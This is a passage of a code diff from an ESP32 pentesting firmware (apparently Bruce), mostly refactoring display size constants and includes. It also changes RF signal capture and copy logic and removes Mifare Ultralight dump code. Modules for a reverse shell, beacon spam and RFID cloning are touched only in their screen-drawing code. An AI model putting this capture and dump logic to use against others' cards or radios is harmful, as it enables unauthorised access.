{"PT-BR ABNT2", [=]() { chooseKb(KeyboardLayout_pt_BR); }},
@@ -396,7 +396,7 @@ void usb_keyboard() {
drawMainBorder();
tft.setCursor(10,28);
tft.println("Usb Keyboard:");
- tft.drawCentreString("> " + String(KB_HID_EXIT_MSG) + " <", WIDTH / 2, HEIGHT-20,1);
+ tft.drawCentreString("> " + String(KB_HID_EXIT_MSG) + " <", tftWidth / 2, tftHeight-20,1);
tft.setTextSize(FM);
String _mymsg="";
keyStroke key;
@@ -425,8 +425,8 @@ void usb_keyboard() {
if (keyStr.length() > 0) {
drawMainBorder(false);
- if(_mymsg.length()>keyStr.length()) tft.drawCentreString(" ", WIDTH / 2, HEIGHT / 2,1); // clears screen
- tft.drawCentreString("Pressed: " + keyStr, WIDTH / 2, HEIGHT / 2,1);
+ if(_mymsg.length()>keyStr.length()) tft.drawCentreString(" ", tftWidth / 2, tftHeight / 2,1); // clears screen
+ tft.drawCentreString("Pressed: " + keyStr, tftWidth / 2, tftHeight / 2,1);
_mymsg=keyStr;
}
delay(200);
diff --git a/src/modules/others/led.cpp b/src/modules/others/led.cpp
index 2c8db175..04c31d10 100644
--- a/src/modules/others/led.cpp
+++ b/src/modules/others/led.cpp
@@ -2,7 +2,7 @@
// By @IncursioHack - github.com/IncursioHack
#include
#include "core/display.h"
-#include "core/globals.h"
+#include
#include "led_control.h"
// Escolha o tipo de LED na lista abaixo.
diff --git a/src/modules/others/mic.h b/src/modules/others/mic.h
index de92b91b..facbba3c 100644
--- a/src/modules/others/mic.h
+++ b/src/modules/others/mic.h
@@ -14,7 +14,7 @@
#include
#include "driver/i2s.h"
#include "core/display.h"
-#include "core/globals.h"
+#include
/* Mic */
void mic_init();
diff --git a/src/modules/others/openhaystack.cpp b/src/modules/others/openhaystack.cpp
index 97c9eb4d..a66ad81e 100644
--- a/src/modules/others/openhaystack.cpp
+++ b/src/modules/others/openhaystack.cpp
@@ -12,7 +12,7 @@
#include "esp_bt_main.h"
#include "freertos/FreeRTOS.h"
-#include "core/globals.h"
+#include
#include "core/display.h"
#include "core/sd_functions.h"
#include "openhaystack.h"
diff --git a/src/modules/others/qrcode_menu.cpp b/src/modules/others/qrcode_menu.cpp
index 923197e5..c3369780 100644
--- a/src/modules/others/qrcode_menu.cpp
+++ b/src/modules/others/qrcode_menu.cpp
@@ -4,7 +4,7 @@
#include "core/mykeyboard.h"
#include "qrcode_menu.h"
#include "core/config.h"
-
+#include "core/utils.h"
uint16_t crc_ccitt_update(uint16_t crc, uint8_t data) {
crc = (uint8_t)(crc >> 8) | (crc << 8);
diff --git a/src/modules/others/timer.cpp b/src/modules/others/timer.cpp
index e94a1cf6..d2989bb2 100644
--- a/src/modules/others/timer.cpp
+++ b/src/modules/others/timer.cpp
@@ -9,6 +9,7 @@
#include "timer.h"
#include "core/display.h"
#include "modules/others/audio.h"
+#include "core/utils.h"
#define DELAY_VALUE 150
@@ -128,7 +129,7 @@ void Timer::loop() {
void Timer::clearUnderline() {
tft.drawLine(
BORDER_PAD_X, underlineY,
- WIDTH - BORDER_PAD_X, underlineY,
+ tftWidth - BORDER_PAD_X, underlineY,
bruceConfig.bgColor
);
}
diff --git a/src/modules/others/timer.h b/src/modules/others/timer.h
index 1f1a7aa2..5f9d706d 100644
--- a/src/modules/others/timer.h
+++ b/src/modules/others/timer.h
@@ -6,13 +6,17 @@
* @date 2024-12-07
*/
+#ifndef __TIMER_H__
+#define __TIMER_H__
+
+#include
class Timer {
private:
int fontSize = 4;
int duration = 0;
- int timerX = WIDTH / 2;
- int timerY = HEIGHT / 2;
+ int timerX = tftWidth / 2;
+ int timerY = tftHeight / 2;
int underlineY = timerY + (fontSize + 1) * LH;
void clearUnderline();
@@ -28,3 +32,5 @@ class Timer {
void setup();
void loop();
};
+
+#endif
\ No newline at end of file
diff --git a/src/modules/others/tururururu.cpp b/src/modules/others/tururururu.cpp
index 4e29518d..70862bd7 100644
--- a/src/modules/others/tururururu.cpp
+++ b/src/modules/others/tururururu.cpp
@@ -1,5 +1,5 @@
#include "core/mykeyboard.h"
-#include "core/globals.h"
+#include
#include "core/display.h"
#include "tururururu.h"
@@ -22,7 +22,7 @@ int score = 0;
void initSprites() {
//sprite para desenhar a tela toda
//tft.deleteSprite();
- //tft.createSprite(WIDTH,HEIGHT);
+ //tft.createSprite(tftWidth,tftHeight);
tft.fillScreen(bruceConfig.bgColor);
//menu_op para desenhar o tubarao
@@ -65,7 +65,7 @@ void drawFish(Fish &f) {
// Função para mover o tubarão
void moveShark() {
- #if defined(STICK_C_PLUS) || defined(STICK_C_PLUS2) || defined(M5STACK) || defined(CYD) // checkEscPress is the same of checkPrevPress in these devices
+ #if defined(ARDUINO_M5STICK_C_PLUS) || defined(ARDUINO_M5STICK_C_PLUS2) || defined(M5STACK) || defined(CYD) // checkEscPress is the same of checkPrevPress in these devices
if (checkSelPress())
#else
if (checkPrevPress())
@@ -81,8 +81,8 @@ void moveShark() {
if (sharkY < 0) {
sharkY = 0;
}
- if (sharkY > HEIGHT - sharkSize) {
- sharkY = HEIGHT - sharkSize;
+ if (sharkY > tftHeight - sharkSize) {
+ sharkY = tftHeight - sharkSize;
}
}
@@ -91,8 +91,8 @@ void moveFish(Fish &f) {
f.x -= 2; // Move o peixe para a esquerda
if (f.x < -10) {
tft.fillRect(f.x,f.y,22,11,bruceConfig.bgColor);
- f.x = WIDTH + random(20, 100);
- f.y = random(10, HEIGHT - 20);
+ f.x = tftWidth + random(20, 100);
+ f.y = random(10, tftHeight - 20);
}
}
@@ -103,8 +103,8 @@ void checkCollisions() {
(sharkY < fish[i].y + fish[i].size) && (sharkY + sharkSize > fish[i].y)) {
// Colidiu com um peixe
tft.fillRect(fish[i].x,fish[i].y,18,8,bruceConfig.bgColor);
- fish[i].x = WIDTH + random(20, 100);
- fish[i].y = random(10, HEIGHT - 20);
+ fish[i].x = tftWidth + random(20, 100);
+ fish[i].y = random(10, tftHeight - 20);
score++;
}
}
@@ -121,8 +121,8 @@ void displayScore() {
void shark_setup() {
// Inicializa a posição dos peixes
for (int i = 0; i < 5; i++) {
- fish[i].x = WIDTH + random(20, 100);
- fish[i].y = random(10, HEIGHT - 20);
+ fish[i].x = tftWidth + random(20, 100);
+ fish[i].y = random(10, tftHeight - 20);
fish[i].size = 8;
}
//desenha peixes e inicia o display
diff --git a/src/modules/others/tururururu.h b/src/modules/others/tururururu.h
index 343fab68..ce4b1fe1 100644
--- a/src/modules/others/tururururu.h
+++ b/src/modules/others/tururururu.h
@@ -1,4 +1,4 @@
-#include "core/globals.h"
+#include
#include "core/display.h"
// Configuração do personagem principal (tubarão)
diff --git a/src/modules/others/webInterface.cpp b/src/modules/others/webInterface.cpp
index eafb6e51..df7f80bb 100644
--- a/src/modules/others/webInterface.cpp
+++ b/src/modules/others/webInterface.cpp
@@ -1,4 +1,4 @@
-#include "core/globals.h"
+#include
#include "core/sd_functions.h" // using sd functions called to rename and manage sd files
#include "core/wifi_common.h" // using common wifisetup
#include "core/mykeyboard.h" // using keyboard when calling rename
@@ -236,19 +236,19 @@ void handleFileUpload(FS fs) {
void drawWebUiScreen(bool mode_ap) {
tft.fillScreen(bruceConfig.bgColor);
tft.fillScreen(bruceConfig.bgColor);
- tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,ALCOLOR);
+ tft.drawRoundRect(5,5,tftWidth-10,tftHeight-10,5,ALCOLOR);
if(mode_ap) {
setTftDisplay(0,0,bruceConfig.bgColor,FM);
- tft.drawCentreString("BruceNet/brucenet",WIDTH/2,7,1);
+ tft.drawCentreString("BruceNet/brucenet",tftWidth/2,7,1);
}
setTftDisplay(0,0,ALCOLOR,FM);
- tft.drawCentreString("BRUCE WebUI",WIDTH/2,27,1);
+ tft.drawCentreString("BRUCE WebUI",tftWidth/2,27,1);
String txt;
if(!mode_ap) txt = WiFi.localIP().toString();
else txt = WiFi.softAPIP().toString();
tft.setTextColor(bruceConfig.priColor);
- tft.drawCentreString("http://bruce.local", WIDTH/2,45,1);
+ tft.drawCentreString("http://bruce.local", tftWidth/2,45,1);
setTftDisplay(7,67);
tft.setTextSize(FM);
@@ -262,7 +262,7 @@ void drawWebUiScreen(bool mode_ap) {
tft.setTextSize(FP);
- tft.drawCentreString("press Esc to stop", WIDTH/2,HEIGHT-15,1);
+ tft.drawCentreString("press Esc to stop", tftWidth/2,tftHeight-15,1);
}
diff --git a/src/modules/pwnagotchi/spam.cpp b/src/modules/pwnagotchi/spam.cpp
index e77f47a6..2c151245 100644
--- a/src/modules/pwnagotchi/spam.cpp
+++ b/src/modules/pwnagotchi/spam.cpp
@@ -152,7 +152,7 @@ void displaySpamStatus() {
tft.fillScreen(TFT_BLACK);
drawTopCanvas();
drawBottomCanvas();
- tft.fillRect(0, 20, WIDTH, HEIGHT - 40, bruceConfig.bgColor);
+ tft.fillRect(0, 20, tftWidth, tftHeight - 40, bruceConfig.bgColor);
tft.setTextSize(1.5);
tft.setCursor(0, 20);
tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
@@ -356,7 +356,7 @@ void send_pwnagotchi_beacon_main() {
spamRunning = true;
// Clear screen
- tft.fillRect(0, 20, WIDTH, HEIGHT - 40, bruceConfig.bgColor);
+ tft.fillRect(0, 20, tftWidth, tftHeight - 40, bruceConfig.bgColor);
// Créer la tâche beacon
xTaskCreate(&beacon_task, "beacon_task", 4096, NULL, 5, NULL);
diff --git a/src/modules/pwnagotchi/ui.cpp b/src/modules/pwnagotchi/ui.cpp
index df03f2fd..d16c495c 100644
--- a/src/modules/pwnagotchi/ui.cpp
+++ b/src/modules/pwnagotchi/ui.cpp
@@ -30,8 +30,8 @@ void initUi() {
tft.fillScreen(bruceConfig.bgColor);
tft.setTextColor(bruceConfig.priColor);
- display_w = WIDTH;
- display_h = HEIGHT;
+ display_w = tftWidth;
+ display_h = tftHeight;
canvas_h = display_h * .8;
canvas_center_x = display_w / 2;
canvas_top_h = display_h * .1;
diff --git a/src/modules/pwnagotchi/ui.h b/src/modules/pwnagotchi/ui.h
index 47fcccb4..d0300dd6 100644
--- a/src/modules/pwnagotchi/ui.h
+++ b/src/modules/pwnagotchi/ui.h
@@ -13,7 +13,6 @@ Thanks to @bmorcelli for his help doing a better code.
void initUi();
void wakeUp();
-void drawNearbyMenu();
void drawMood(String face, String phrase, bool broken = false);
void drawTime();
void drawFooterData(uint8_t friends_run = 0, uint8_t friends_tot = 0,
diff --git a/src/modules/reverseShell/reverseShell.cpp b/src/modules/reverseShell/reverseShell.cpp
index 45f2a013..9d87c3dd 100644
--- a/src/modules/reverseShell/reverseShell.cpp
+++ b/src/modules/reverseShell/reverseShell.cpp
@@ -20,7 +20,7 @@ void ReverseShell() {
tft.fillScreen(bruceConfig.bgColor);
tft.setTextSize(FM);
tft.setTextColor(TFT_RED, bruceConfig.bgColor);
- tft.drawCentreString("Reverse Shell", WIDTH / 2, 10, 1);
+ tft.drawCentreString("Reverse Shell", tftWidth / 2, 10, 1);
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
tft.setTextSize(FP);
tft.setCursor(15,33);
diff --git a/src/modules/rf/rf.cpp b/src/modules/rf/rf.cpp
index 94e763c8..08190a8d 100644
--- a/src/modules/rf/rf.cpp
+++ b/src/modules/rf/rf.cpp
@@ -4,7 +4,7 @@
#include
#include
#include "PCA9554.h"
-#include "core/globals.h"
+#include
#include "core/mykeyboard.h"
#include "core/display.h"
#include "core/sd_functions.h"
@@ -96,14 +96,14 @@ void rf_spectrum() { //@IncursioHack - https://github.com/IncursioHack ----thank
if (item != nullptr) {
if (rx_size != 0) {
// Clear the display area
- tft.fillRect(0, 20, WIDTH, HEIGHT, bruceConfig.bgColor);
+ tft.fillRect(0, 20, tftWidth, tftHeight, bruceConfig.bgColor);
// Draw waveform based on signal strength
for (size_t i = 0; i < rx_size; i++) {
- int lineHeight = map(item[i].duration0 + item[i].duration1, 0, SIGNAL_STRENGTH_THRESHOLD, 0, HEIGHT/2);
- int lineX = map(i, 0, rx_size - 1, 0, WIDTH - 1); // Map i to within the display width
+ int lineHeight = map(item[i].duration0 + item[i].duration1, 0, SIGNAL_STRENGTH_THRESHOLD, 0, tftHeight/2);
+ int lineX = map(i, 0, rx_size - 1, 0, tftWidth - 1); // Map i to within the display width
// Ensure drawing coordinates stay within the box bounds
- int startY = constrain(20 + HEIGHT / 2 - lineHeight / 2, 20, 20 + HEIGHT);
- int endY = constrain(20 + HEIGHT / 2 + lineHeight / 2, 20, 20 + HEIGHT);
+ int startY = constrain(20 + tftHeight / 2 - lineHeight / 2, 20, 20 + tftHeight);
+ int endY = constrain(20 + tftHeight / 2 + lineHeight / 2, 20, 20 + tftHeight);
tft.drawLine(lineX, startY, lineX, endY, bruceConfig.priColor);
}
}
@@ -144,17 +144,17 @@ void rf_SquareWave() { //@Pirata
if (rcswitch.RAWavailable()) {
raw=rcswitch.getRAWReceivedRawdata();
// Clear the display area
- // tft.fillRect(0, 0, WIDTH, HEIGHT, bruceConfig.bgColor);
+ // tft.fillRect(0, 0, tftWidth, tftHeight, bruceConfig.bgColor);
// Draw waveform based on signal strength
for (int i = 0; i < RCSWITCH_RAW_MAX_CHANGES-1; i+=2) {
if(raw[i]==0) break;
- #define TIME_DIVIDER WIDTH/8
+ #define TIME_DIVIDER tftWidth/8
if(raw[i]>20000) raw[i]=20000;
if(raw[i+1]>20000) raw[i+1]=20000;
- if(line_w+(raw[i]+raw[i+1])/TIME_DIVIDER>WIDTH) { line_w=10; line_h+=10; }
- if(line_h>HEIGHT) {
+ if(line_w+(raw[i]+raw[i+1])/TIME_DIVIDER>tftWidth) { line_w=10; line_h+=10; }
+ if(line_h>tftHeight) {
line_h = 15;
- tft.fillRect(0, 12, WIDTH, HEIGHT, bruceConfig.bgColor);
+ tft.fillRect(0, 12, tftWidth, tftHeight, bruceConfig.bgColor);
}
tft.drawFastVLine(line_w ,line_h ,6 ,bruceConfig.priColor);
tft.drawFastHLine(line_w ,line_h ,raw[i]/TIME_DIVIDER ,bruceConfig.priColor);
@@ -182,30 +182,23 @@ void setMHZ(float frequency) {
Serial.println("Frequency out of band");
}
#if defined(T_EMBED_1101)
- static uint8_t antenna=200; // 0=(<300), 1=(350-468), 2=(>778), 200=start to settle at the fisrt time
// SW1:1 SW0:0 --- 315MHz
// SW1:0 SW0:1 --- 868/915MHz
// SW1:1 SW0:1 --- 434MHz
- if (frequency <= 350 && antenna!=0)
+ if (frequency <= 350)
{
- digitalWrite(BOARD_LORA_SW1, HIGH);
- digitalWrite(BOARD_LORA_SW0, LOW);
- antenna=0;
- delay(10); // time to settle the antenna signal
+ digitalWrite(CC1101_SW1_PIN, HIGH);
+ digitalWrite(CC1101_SW0_PIN, LOW);
}
- else if (frequency > 350 && frequency < 468 && antenna!=1)
+ else if (frequency > 350 && frequency < 468 )
{
- digitalWrite(BOARD_LORA_SW1, HIGH);
- digitalWrite(BOARD_LORA_SW0, HIGH);
- antenna=1;
- delay(10); // time to settle the antenna signal
+ digitalWrite(CC1101_SW1_PIN, HIGH);
+ digitalWrite(CC1101_SW0_PIN, HIGH);
}
- else if (frequency > 778 && antenna!=2)
+ else if (frequency > 778)
{
- digitalWrite(BOARD_LORA_SW1, LOW);
- digitalWrite(BOARD_LORA_SW0, HIGH);
- antenna=2;
- delay(10); // time to settle the antenna signal
+ digitalWrite(CC1101_SW1_PIN, LOW);
+ digitalWrite(CC1101_SW0_PIN, HIGH);
}
#endif
@@ -556,7 +549,7 @@ void deinitRfModule() {
#ifdef USE_CC1101_VIA_SPI
#if CC1101_MOSI_PIN==TFT_MOSI || CC1101_MOSI_PIN==SDCARD_MOSI // (T_EMBED), CORE2 and others
ELECHOUSE_cc1101.setSidle();
- #else // (STICK_C_PLUS) || (STICK_C_PLUS2) and others that doesn´t share SPI with other devices (need to change it when Bruce board comes to shore)
+ #else // (ARDUINO_M5STICK_C_PLUS) || (ARDUINO_M5STICK_C_PLUS2) and others that doesn´t share SPI with other devices (need to change it when Bruce board comes to shore)
ELECHOUSE_cc1101.getSPIinstance()->end();
#endif
#else
@@ -571,9 +564,9 @@ void deinitRfModule() {
bool initRfModule(String mode, float frequency) {
#if CC1101_MOSI_PIN==TFT_MOSI // (T_EMBED), CORE2 and others
initCC1101once(&tft.getSPIinstance());
- #elif CC1101_MOSI_PIN==SDCARD_MOSI // (CARDPUTER) and (ESP32S3DEVKITC1) and devices that share CC1101 pin with only SDCard
+ #elif CC1101_MOSI_PIN==SDCARD_MOSI // (ARDUINO_M5STACK_CARDPUTER) and (ESP32S3DEVKITC1) and devices that share CC1101 pin with only SDCard
ELECHOUSE_cc1101.setSPIinstance(&sdcardSPI);
- #else // (STICK_C_PLUS) || (STICK_C_PLUS2) and others that doesn´t share SPI with other devices (need to change it when Bruce board comes to shore)
+ #else // (ARDUINO_M5STICK_C_PLUS) || (ARDUINO_M5STICK_C_PLUS2) and others that doesn´t share SPI with other devices (need to change it when Bruce board comes to shore)
ELECHOUSE_cc1101.setBeginEndLogic(true); // make sure to use BeginEndLogic for StickCs in the shared pins (not bus) config
initCC1101once(NULL);
#endif
@@ -719,7 +712,6 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw) {
}
//Serial.println(received.protocol);
//Serial.println(received.data);
- decimalToHexString(received.key,hexString);
rf_scan_copy_draw_signal(received, 1, raw);
}
@@ -797,7 +789,6 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw) {
goto RestartRec;
}
else if (chosen==2) {
- decimalToHexString(received.key,hexString);
RCSwitch_SaveSignal(frequency, received, raw, hexString);
delay(2000);
@@ -1509,6 +1500,7 @@ void rf_scan_copy() {
unsigned long value = rcswitch.getReceivedValue();
if (value) { // if there are a value decoded by RCSwitch, shows it first
found_freq = frequency;
+
++signals;
unsigned int* raw = rcswitch.getReceivedRawdata();
@@ -1538,31 +1530,40 @@ void rf_scan_copy() {
}
if(rcswitch.RAWavailable() && ReadRAW){ // if no value were decoded, show raw data to be saved
- found_freq = frequency;
- ++signals;
-
- unsigned int* raw = rcswitch.getRAWReceivedRawdata();
- int transitions = 0;
- signed int sign=1;
- String _data="";
- for(transitions=0; transitions0) _data+=" ";
- if(transitions % 2 == 0) sign = +1;
- else sign = -1;
- _data += String(sign * (int)raw[transitions]);
+ if (bruceConfig.rfModule == CC1101_SPI_MODULE) {
+ rssi=ELECHOUSE_cc1101.getRssi();
}
+ if (rssi>-60 || bruceConfig.rfModule==M5_RF_MODULE) {
+ // Rawsignal AND {
+ // (ReadRAW AND RSSI>-60 (signal strenght from CC1101),) OR
+ // (ReadRAW AND M5 Module (must be set in options))
+ //}
+ //delay(100); //give it time to process and store all signal
+ found_freq = frequency;
+
+ ++signals;
+
+ unsigned int* raw = rcswitch.getRAWReceivedRawdata();
+ int transitions = 0;
+ signed int sign=1;
+ String _data="";
+ for(transitions=0; transitions0) _data+=" ";
+ if(transitions % 2 == 0) sign = +1;
+ else sign = -1;
+ _data += String(sign * (int)raw[transitions]);
+ }
- received.te = 0;
- received.key = 0;
- received.Bit = 0;
- received.frequency = long(frequency*1000000);
- received.protocol = "RAW";
- received.filepath = "signal_"+String(signals);
- received.data = _data;
- received.preset = "0"; // ????
- rf_scan_copy_draw_signal(received,signals,ReadRAW);
-
+ if(transitions>20) {
+ received.frequency = long(frequency*1000000);
+ received.protocol = "RAW";
+ received.filepath = "signal_"+String(signals);
+ received.data = _data;
+ received.preset = "0"; // ????
+ rf_scan_copy_draw_signal(received,signals,ReadRAW);
+ }
+ }
rcswitch.resetAvailable();
}
@@ -1636,7 +1637,6 @@ void rf_scan_copy() {
}
else if (option == 2) { // Save Signal
Serial.println(received.protocol=="RAW"? "RCSwitch_SaveSignal RAW true":"RCSwitch_SaveSignal RAW false");
- decimalToHexString(received.key,hexString);
RCSwitch_SaveSignal(found_freq, received, received.protocol=="RAW"? true:false, hexString);
deinitRfModule();
delay(200);
diff --git a/src/modules/rfid/RFIDInterface.h b/src/modules/rfid/RFIDInterface.h
index 47531e17..050b912f 100644
--- a/src/modules/rfid/RFIDInterface.h
+++ b/src/modules/rfid/RFIDInterface.h
@@ -10,7 +10,7 @@
#ifndef __RFID_INTERFACE_H__
#define __RFID_INTERFACE_H__
-#include "core/globals.h"
+#include
class RFIDInterface {
diff --git a/src/modules/rfid/pn532ble.cpp b/src/modules/rfid/pn532ble.cpp
index 0ca05e2b..1cf47bf2 100644
--- a/src/modules/rfid/pn532ble.cpp
+++ b/src/modules/rfid/pn532ble.cpp
@@ -65,48 +65,6 @@ void Pn532ble::loop()
{
selectMode();
}
-
-#ifdef CARDPUTER
- if (pn532_ble.isConnected())
- {
- if (checkLetterShortcutPress() == 'h')
- {
- setMode(HF_14A_SCAN_MODE);
- }
-
- if (checkLetterShortcutPress() == 'v')
- {
- setMode(GET_FW_MODE);
- }
-
- if (checkLetterShortcutPress() == 'c')
- {
- setMode(HF_MF_READ_MODE);
- }
-
- if (checkLetterShortcutPress() == 'u')
- {
- setMode(HF_MFU_READ_MODE);
- }
- }
-
- if (pn532_ble.isPN532Killer())
- {
- if (checkLetterShortcutPress() == 'H')
- {
- setMode(HF_15_SCAN_MODE);
- }
-
- if (checkLetterShortcutPress() == 'l')
- {
- setMode(LF_EM4100_SCAN_MODE);
- }
- if (checkLetterShortcutPress() == 'i')
- {
- setMode(HF_ISO15693_READ_MODE);
- }
- }
-#endif
}
}
@@ -164,8 +122,8 @@ void Pn532ble::readTagMenu()
options = {
{"Read MFC", [=]()
{ setMode(HF_MF_READ_MODE); }},
- {"Read MFU", [=]()
- { setMode(HF_MFU_READ_MODE); }},
+ // {"Read MFU", [=]()
+ // { setMode(HF_MFU_READ_MODE); }},
};
if (pn532_ble.isPN532Killer())
@@ -295,28 +253,9 @@ void Pn532ble::setMode(AppMode mode)
{
case STANDBY_MODE:
padprintln("");
- padprintln("[ok] - Select mode");
-#ifdef CARDPUTER
- if (pn532_ble.isConnected())
- {
- padprintln("[h] - Scan ISO14443A");
- }
- if (pn532_ble.isPN532Killer())
- {
- padprintln("[H] - Scan ISO15693");
- padprintln("[l] - Scan EM4100");
- }
+ padprintln("Press [OK] to change mode.");
+ padprintln("");
padprintln("");
- if (pn532_ble.isConnected())
- {
- padprintln("[c] - Read Mifare Classic");
- padprintln("[u] - Read Mifare Ultralight");
- }
- if (pn532_ble.isPN532Killer())
- {
- padprintln("[i] - Read ISO15693");
- }
-#endif
break;
case GET_FW_MODE:
if (pn532_ble.isConnected())
@@ -341,7 +280,7 @@ void Pn532ble::setMode(AppMode mode)
hf14aMfReadDumpMode();
break;
case HF_MFU_READ_MODE:
- hf14aMfuReadDumpMode();
+
break;
case HF_ISO15693_READ_MODE:
hf15ReadDumpMode();
@@ -350,7 +289,7 @@ void Pn532ble::setMode(AppMode mode)
hf14aMfWriteDumpMode();
break;
case HF_MFU_WRITE_MODE:
- hf14aMfuWriteDumpMode();
+
break;
case HF_ISO15693_WRITE_MODE:
hf15WriteDumpMode();
@@ -371,7 +310,7 @@ void Pn532ble::displayBanner()
{
drawMainBorderWithTitle("PN532 BLE");
padprintln("PN532 HSU Mode on BLE");
- delay(100);
+ delay(300);
}
void Pn532ble::showDeviceInfo()
@@ -397,7 +336,7 @@ void Pn532ble::showDeviceInfo()
padprintln(versionStr);
padprintln("------------");
padprintln("");
- padprintln("[ok] - Select mode");
+ padprintln("Press OK to select mode.");
}
void Pn532ble::hf14aScan()
@@ -411,10 +350,6 @@ void Pn532ble::hf14aScan()
{
displayError("No tag found");
}
- else if (tagInfo.uid.size() != 4 && tagInfo.uid.size() != 7 && tagInfo.uid.size() != 10)
- {
- displayError("Not ISO14443A Tag");
- }
else
{
padprintln("------------");
@@ -422,19 +357,12 @@ void Pn532ble::hf14aScan()
padprintln("UID: " + tagInfo.uid_hex);
padprintln("ATQA: " + tagInfo.atqa_hex);
padprintln("SAK: " + tagInfo.sak_hex);
- if (tagInfo.sak == 0x00)
- {
- padprintln("------------");
- }
- else if (tagInfo.sak == 0x08 || tagInfo.sak == 0x09 || tagInfo.sak == 0x18)
- {
- bool isGen1A = pn532_ble.isGen1A();
- padprintln("Gen1A: " + String(isGen1A ? "Yes" : "No"));
- bool isGen3 = pn532_ble.isGen3();
- padprintln("Gen3: " + String(isGen3 ? "Yes" : "No"));
- bool isGen4 = pn532_ble.isGen4(gen4pwd);
- padprintln("Gen4: " + String(isGen4 ? "Yes" : "No"));
- }
+ bool isGen1A = pn532_ble.isGen1A();
+ padprintln("Gen1A: " + String(isGen1A ? "Yes" : "No"));
+ bool isGen3 = pn532_ble.isGen3();
+ padprintln("Gen3: " + String(isGen3 ? "Yes" : "No"));
+ bool isGen4 = pn532_ble.isGen4(gen4pwd);
+ padprintln("Gen4: " + String(isGen4 ? "Yes" : "No"));
}
}
@@ -443,21 +371,12 @@ void Pn532ble::hf15Scan()
displayBanner();
padprintln("HF 15 Scan");
delay(200);
- if (!pn532_ble.isPN532Killer())
- {
- displayError("Not supported");
- return;
- }
pn532_ble.setNormalMode();
PN532_BLE::Iso15TagInfo tagInfo = pn532_ble.hf15Scan();
if (tagInfo.uid.empty())
{
displayError("No tag found");
}
- else if (tagInfo.uid.size() != 8)
- {
- displayError("Not ISO15693 Tag");
- }
else
{
padprintln("------------");
@@ -475,12 +394,6 @@ void Pn532ble::lfScan()
displayBanner();
padprintln("LF Scan");
delay(200);
- if (!pn532_ble.isPN532Killer())
- {
- displayError("Not supported");
- return;
- }
-
pn532_ble.setNormalMode();
PN532_BLE::LfTagInfo tagInfo = pn532_ble.lfScan();
if (tagInfo.uid.empty())
@@ -491,7 +404,7 @@ void Pn532ble::lfScan()
{
padprintln("------------");
padprintln("UID: " + tagInfo.uid_hex);
- padprintln("ID: " + String(abs(tagInfo.id_dec)));
+ padprintln("ID: " + String(abs(tagInfo.id_dec)));
}
}
@@ -511,10 +424,10 @@ void updateArea(ScrollableTextArea &area)
void Pn532ble::hf14aMfReadDumpMode()
{
displayBanner();
- padprintln("HF MFC Dump");
- padprintln("------------");
+ padprintln("HF 14A Dump");
pn532_ble.setNormalMode();
PN532_BLE::Iso14aTagInfo tagInfo = pn532_ble.hf14aScan();
+ padprintln("------------");
if (tagInfo.uid.empty())
{
displayError("No tag found");
@@ -523,7 +436,7 @@ void Pn532ble::hf14aMfReadDumpMode()
mfd.clear();
padprintln("UID: " + tagInfo.uid_hex);
- ScrollableTextArea area(FP, 10, 28, WIDTH - 20, HEIGHT - 38);
+ ScrollableTextArea area(FP, 10, 28, tftWidth - 20, tftHeight - 38);
if (tagInfo.sak == 0x08 || tagInfo.sak == 0x09 || tagInfo.sak == 0x18)
{
@@ -711,230 +624,20 @@ void Pn532ble::hf14aMfReadDumpMode()
area.draw();
}
pn532_ble.wakeup();
-
- while (checkSelPress())
- {
- updateArea(area);
- yield();
- }
- while (!checkSelPress())
- {
- updateArea(area);
- yield();
- }
- }
- else
- {
- area.addLine("Not Mifare Ultralight");
- area.scrollDown();
- area.draw();
- }
-}
-
-void Pn532ble::hf14aMfuReadDumpMode()
-{
- displayBanner();
- padprintln("HF MFU Dump");
- padprintln("------------");
- pn532_ble.setNormalMode();
- PN532_BLE::Iso14aTagInfo tagInfo = pn532_ble.hf14aScan();
- if (tagInfo.uid.empty())
- {
- displayError("No tag found");
- return;
}
- mfd.clear();
- padprintln("UID: " + tagInfo.uid_hex);
-
- ScrollableTextArea area(FP, 10, 28, WIDTH - 20, HEIGHT - 38);
- if (tagInfo.sak == 0x00)
+ while (checkSelPress())
{
- mfud.clear();
- padprintln("TYPE: " + tagInfo.type);
- padprintln("------------");
- padprintln("Checking Page Count...");
- delay(1000);
- area.addLine("TYPE: " + tagInfo.type);
- area.scrollDown();
- area.draw();
- area.addLine("UID: " + tagInfo.uid_hex);
- area.scrollDown();
- area.draw();
-
- int max_block = 4;
- int block = 0;
- while (block < max_block)
- {
- std::vector res = pn532_ble.mfRdbl(block);
- if (res.size() == 17)
- {
- res.erase(res.begin());
- }
- if (block == 0 && res.size() == 16)
- {
- max_block = res[14] * 2 + 9;
- area.addLine("PAGE: " + String(max_block));
- area.addLine("------------");
- area.scrollDown();
- area.draw();
- }
- if (res.size() == 16)
- {
- for (int i = 0; i < 4; i++)
- {
- int block_index = block + i;
- String blockStr = String(block_index < 10 ? "0" : "") + String(block_index) + " ";
- for (int k = 0; k < 4; k++)
- {
- uint8_t byteData = res[i * 4 + k];
- mfud.push_back(byteData);
- blockStr += byteData < 0x10 ? "0" : "";
- blockStr += String(byteData, HEX);
- }
- blockStr += " | ";
- if (block_index == 0)
- {
- blockStr += "ID 0-2, BCC1";
- }
- else if (block_index == 1)
- {
- blockStr += "ID 3-6";
- }
- else if (block_index == 2)
- {
- blockStr += "BCC2,";
- }
- else
- {
- for (int k = 0; k < 4; k++)
- {
- uint8_t byteData = res[i * 4 + k];
- if (byteData >= 32 && byteData <= 126)
- {
- blockStr += char(byteData);
- }
- else
- {
- blockStr += " ";
- }
- }
- }
-
- area.addLine(blockStr);
- area.scrollDown();
- area.draw();
- }
- }
- else
- {
- padprintln("Block " + String(block) + " Failed to read");
- }
- block += 4;
- }
- area.addLine("------------");
- area.scrollDown();
- area.draw();
- pn532_ble.wakeup();
-
- while (checkSelPress())
- {
- updateArea(area);
- yield();
- }
- while (!checkSelPress())
- {
- updateArea(area);
- yield();
- }
+ updateArea(area);
+ yield();
}
- else
+ while (!checkSelPress())
{
- area.addLine("Not Mifare Ultralight");
- area.scrollDown();
- area.draw();
+ updateArea(area);
+ yield();
}
}
-void Pn532ble::hf14aMfuWriteDumpMode()
-{
- displayBanner();
- padprintln("HF MFU Write Dump");
- pn532_ble.setNormalMode();
- PN532_BLE::Iso14aTagInfo tagInfo = pn532_ble.hf14aScan();
